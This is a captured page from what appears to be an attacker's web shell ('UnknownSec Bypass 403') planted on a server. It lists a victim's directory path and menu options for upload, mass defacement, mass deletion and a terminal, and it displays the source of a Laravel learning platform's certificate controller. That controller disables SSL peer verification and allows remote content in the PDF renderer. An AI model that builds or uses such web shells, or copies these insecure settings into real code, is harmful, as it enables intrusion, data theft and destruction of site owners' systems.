UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
eagleead
/
app
/
Http
/
Controllers
/
Site
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
CertificateController.php
<?php namespace EstudioLMS\Http\Controllers\Site; use EstudioLMS\Repositories\Auth\UserRepository; use EstudioLMS\Repositories\Courses\Course\CourseRepository; use Illuminate\Http\Request; use EstudioLMS\Http\Controllers\Controller; use EstudioLMS\Services\Environment\IssueCertificateService as certificate; use Barryvdh\DomPDF\PDF; use File; use EstudioLMS\Helpers\Helpers; /** * Class CertificateController * @package EstudioLMS\Http\Controllers\Site */ class CertificateController extends Controller { /** * @var certificate */ private $certificate; /** * @var CourseRepository */ private $courseRepository; /** * @var UserRepository */ private $userRepository; /** * @var PDF */ private $pdf; /** * CertificateController constructor. * @param certificate $certificate * @param CourseRepository $courseRepository * @param UserRepository $userRepository * @param PDF $pdf */ public function __construct( certificate $certificate, CourseRepository $courseRepository, UserRepository $userRepository, PDF $pdf ) { $this->certificate = $certificate; $this->courseRepository = $courseRepository; $this->userRepository = $userRepository; $this->pdf = $pdf; } /** * @param int $userId * @param int $courseId * @return \Illuminate\Http\Response */ public function issueCertificate(int $userId, int $courseId) { $user = $this->userRepository->find($userId); $course = $this->courseRepository->find($courseId); if (!File::exists(public_path('assets/images/temp'))) { File::makeDirectory(public_path('assets/images/temp')); } $certificateFile = 'certificado-' . $course['slug'] . '.pdf'; $view = $this->previewCertificate($courseId, $user->id); $contxt = stream_context_create([ 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false ] ]); $pdf = $this->pdf->setPaper('A4', 'landscape') ->setOptions(['isHtml5ParserEnabled' => true, 'isRemoteEnabled' => true]); $pdf->getDomPDF()->setHttpContext($contxt); $previewName = Helpers::uniqueFileName() . '.pdf'; $pdf->loadHTML($view) ->save('preview/' . $previewName); return $this->pdf->download($certificateFile); } /** * @param $courseId * @param $userId * @return string */ public function previewCertificate($courseId, $userId) { $image = $this->certificate->getImage(); $text = $this->certificate->getText($courseId, $userId); $view = \View::make('admin.certificate.certificate_template', compact('image', 'text'))->render(); return $view; } }
Copyright © 2026 - UnknownSec